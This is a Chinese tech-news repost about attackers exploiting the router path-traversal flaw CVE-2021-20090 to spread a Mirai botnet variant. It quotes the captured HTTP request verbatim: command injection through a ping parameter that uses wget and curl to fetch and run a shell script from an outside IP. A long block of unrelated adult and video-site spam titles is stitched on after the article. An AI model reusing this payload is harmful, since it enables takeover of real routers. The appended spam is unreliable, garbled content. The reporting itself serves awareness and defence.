《電子技術(shù)應(yīng)用》
您所在的位置:首頁 > 通信與網(wǎng)絡(luò) > 業(yè)界動(dòng)態(tài) > 9.9分漏洞在野利用

9.9分漏洞在野利用

2021-08-21
來源:嘶吼專業(yè)版
關(guān)鍵詞: 9.9分漏洞 路由器

  研究人員發(fā)現(xiàn)9.9分漏洞在野利用,數(shù)百萬路由器設(shè)備受到影響。

  CVE-2021-20090漏洞

  CVE-2021-20090漏洞是Tenable研究人員8月3日公開的包含Arcadyan固件的路由器web接口路徑遍歷漏洞,CVSS評(píng)分9.9分。漏洞影響數(shù)百萬家用路由器設(shè)備和其他使用有漏洞的代碼庫的物聯(lián)網(wǎng)設(shè)備,包括部分互聯(lián)網(wǎng)服務(wù)提供商在內(nèi)的不少于17家廠商的產(chǎn)品受到影響。

  CVE-2021-20090漏洞是一個(gè)路徑遍歷漏洞,可能引發(fā)認(rèn)證繞過。成功利用該漏洞后,攻擊者可以完全接管有漏洞的設(shè)備。比如,Tenable研究人員已經(jīng)證明了如何在有漏洞的路由器上修改配置以啟用Telnet,并獲取訪問設(shè)備的root級(jí)shell訪問權(quán)限。

  cve-2021-20090漏洞的技術(shù)細(xì)節(jié)參見:

  https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2

  在野漏洞利用

  Juniper安全研究人員在監(jiān)控一起惡意網(wǎng)絡(luò)活動(dòng)流量時(shí)發(fā)現(xiàn)嘗試?yán)迷撀┒吹墓裟J健9粽呖此茋L試在受影響的路由器上使用腳本的方式來部署Mirai惡意軟件變種。

  研究人員從今年2月18日開始監(jiān)控到該攻擊活動(dòng),原始的攻擊來源與IP地址27.22.80[.]19,通過HTTP POST方法:

  POST /images/%2fapply_abstract.cgi HTTP/1.1

  Connection: close

  User-Agent: Darkaction=start_ping&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=212.192.241.7%0A

  wget+http://212.192.241.72/lolol.sh;

  curl+-O+http://212.192.241.72/lolol.sh;

  chmod+777+lolol.sh;

  sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4

  從該P(yáng)OST 請(qǐng)求中可以看出,攻擊者修改了被攻擊設(shè)備的配置信息使用“ARC_SYS_TelnetdEnable=1”來啟用Telnet,然后使用wget或curl從IP 地址212.192.241[.]72 處下載一個(gè)新的腳本,然后執(zhí)行。研究人員分析該腳本payload并確認(rèn)是Mirai僵尸網(wǎng)絡(luò)變種。

  從6月6日到7月23日,研究人員發(fā)現(xiàn)攻擊者開始利用其它的漏洞:

  CVE-2020-29557 (DLink路由器)

  CVE-2021-1497 and CVE-2021-1498 (Cisco HyperFlex)

  CVE-2021-31755  (Tenda AC11)

  CVE-2021-22502 (MicroFocus OBR)

  CVE-2021-22506 (MicroFocus AM)

  這表明該攻擊組織正通過添加新的漏洞利用不斷擴(kuò)展其攻擊活動(dòng)。




電子技術(shù)圖片.png

本站內(nèi)容除特別聲明的原創(chuàng)文章之外,轉(zhuǎn)載內(nèi)容只為傳遞更多信息,并不代表本網(wǎng)站贊同其觀點(diǎn)。轉(zhuǎn)載的所有的文章、圖片、音/視頻文件等資料的版權(quán)歸版權(quán)所有權(quán)人所有。本站采用的非本站原創(chuàng)文章及圖片等內(nèi)容無法一一聯(lián)系確認(rèn)版權(quán)者。如涉及作品內(nèi)容、版權(quán)和其它問題,請(qǐng)及時(shí)通過電子郵件或電話通知我們,以便迅速采取適當(dāng)措施,避免給雙方造成不必要的經(jīng)濟(jì)損失。聯(lián)系電話:010-82306118;郵箱:aet@chinaaet.com。
亚洲一区二区欧美_亚洲丝袜一区_99re亚洲国产精品_日韩亚洲一区二区
久久久国产一区二区| 欧美日韩在线视频一区二区| av成人免费观看| 91久久久亚洲精品| 亚洲福利av| 亚洲国产视频a| 亚洲国产精品久久久| 欧美中文字幕在线| 久久激情视频| 久久精品视频在线观看| 久久精品毛片| 最新国产の精品合集bt伙计| 欧美影院一区| 亚洲大片免费看| 亚洲国产高潮在线观看| 亚洲经典一区| 亚洲精品一区二区三区99| 亚洲福利视频网站| 国产精品高潮呻吟| 国产精品xxxav免费视频| 欧美日韩中文字幕日韩欧美| 欧美系列电影免费观看| 国产精品国产三级国产普通话蜜臀| 欧美三级电影大全| 国产精品成人一区二区| 国产精品久久午夜| 国产伪娘ts一区| 在线国产亚洲欧美| 亚洲看片网站| 亚洲一区二区免费看| 欧美亚洲视频一区二区| 久久精品91久久香蕉加勒比| 亚洲日本国产| 亚洲无限av看| 亚洲欧美日韩精品久久亚洲区 | 国内视频一区| 亚洲国产精品va在线看黑人动漫 | 9国产精品视频| 亚洲欧美综合精品久久成人 | 香蕉久久a毛片| 久久婷婷激情| 欧美—级a级欧美特级ar全黄| 欧美日韩中文字幕精品| 国产女人18毛片水18精品| 在线高清一区| 亚洲网址在线| 亚洲国产精品成人综合色在线婷婷| 亚洲免费成人av| 欧美伊人久久久久久久久影院| 免费不卡在线视频| 国产精品久久久久久久久动漫| 国内综合精品午夜久久资源| 日韩视频中文字幕| 欧美一区=区| 一本久道久久综合中文字幕| 欧美在线日韩| 欧美美女日韩| 国产一区二区三区网站 | 久久精品一区二区三区四区| 亚洲图片欧美一区| 久久综合九九| 国产精品视频1区| 亚洲高清激情| 午夜日韩电影| 中文在线资源观看网站视频免费不卡 | 日韩小视频在线观看| 欧美在线综合| 亚洲一区中文字幕在线观看| 老巨人导航500精品| 国产精品福利网站| 亚洲国产美女久久久久| 性色av香蕉一区二区| 一区二区三区成人| 麻豆精品视频在线观看| 国产嫩草一区二区三区在线观看| 亚洲级视频在线观看免费1级| 性欧美精品高清| 亚洲男人的天堂在线观看 | 国产亚洲综合在线| 一区二区三区高清在线| 亚洲精品女人| 久久久久综合一区二区三区| 国产精品美女一区二区| 亚洲精品久久久久久久久久久久 | 午夜精品网站| 欧美另类人妖| 亚洲福利在线视频| 久久精品国产99国产精品| 性欧美超级视频| 欧美日韩亚洲一区三区| 亚洲国产精品一区在线观看不卡 | 午夜精品一区二区三区电影天堂| 欧美激情一区二区三区在线视频观看| 国产一区二区0| 亚洲综合视频在线| 亚洲主播在线观看| 欧美日韩裸体免费视频| 亚洲精品一区二区在线| 亚洲精品久久久蜜桃| 久久资源在线| 国产综合一区二区| 欧美资源在线| 久久久久久亚洲精品不卡4k岛国| 国产精品普通话对白| 中日韩视频在线观看| 亚洲视频高清| 欧美午夜精彩| 在线视频欧美一区| 亚洲一区观看| 欧美少妇一区| 亚洲深夜福利视频| 亚洲一区图片| 国产精品久久久久久户外露出| 一区二区三区高清| 亚洲欧美国产不卡| 国产精品一二三视频| 亚洲欧美日韩一区二区在线 | 亚洲视频在线观看网站| 中文av字幕一区| 欧美视频在线观看一区| 在线视频欧美一区| 亚洲欧美精品在线| 国产精品亚洲综合久久| 西西人体一区二区| 久久视频免费观看| 一区在线影院| 亚洲日本成人网| 欧美日韩国产999| 一区二区免费在线观看| 亚洲女女做受ⅹxx高潮| 国产美女精品人人做人人爽| 性欧美超级视频| 老妇喷水一区二区三区| 亚洲黑丝在线| 亚洲一区二区精品在线| 国产免费成人在线视频| 久久成人免费网| 欧美xart系列高清| 亚洲精品欧美精品| 亚洲女性裸体视频| 国产亚洲一级| 最近看过的日韩成人| 欧美人妖在线观看| 亚洲一区二区影院| 久久久蜜桃一区二区人| 亚洲激情视频| 亚洲欧美成人在线| 激情自拍一区| 一区二区欧美亚洲| 国产欧美视频在线观看| 亚洲国产精品一区在线观看不卡 | 亚洲精品免费一区二区三区| 亚洲尤物在线| 韩国v欧美v日本v亚洲v| 日韩一区二区福利| 国产精品日韩欧美一区二区| 欧美一区二区三区四区在线| 欧美91大片| 亚洲午夜激情| 久久中文久久字幕| 亚洲免费观看视频| 久久精品国产久精国产一老狼| 亚洲国产精品一区二区第一页| 亚洲影院免费| 伊人天天综合| 亚洲欧美美女| 亚洲国产精品久久精品怡红院| 亚洲欧美国产毛片在线| 在线不卡亚洲| 亚洲欧美另类国产| 亚洲国产专区| 欧美在线91| 99re8这里有精品热视频免费| 欧美在线国产| 亚洲精选大片| 久久综合九色| 亚洲综合国产| 欧美日韩成人免费| 久久国产一区二区三区| 欧美午夜激情小视频| 最新69国产成人精品视频免费| 国产精品青草综合久久久久99| 亚洲欧洲一区二区在线播放| 国产嫩草一区二区三区在线观看| 日韩午夜高潮| 国产一区二区高清视频| 这里只有精品丝袜| 悠悠资源网久久精品| 性色一区二区| 日韩午夜电影| 男女视频一区二区| 羞羞色国产精品| 国产精品av一区二区| 91久久久在线| 国产一区日韩欧美| 亚洲欧美视频一区二区三区| 亚洲精品一级| 欧美成人亚洲| 久久成人18免费网站| 国产精品久久久久久久浪潮网站|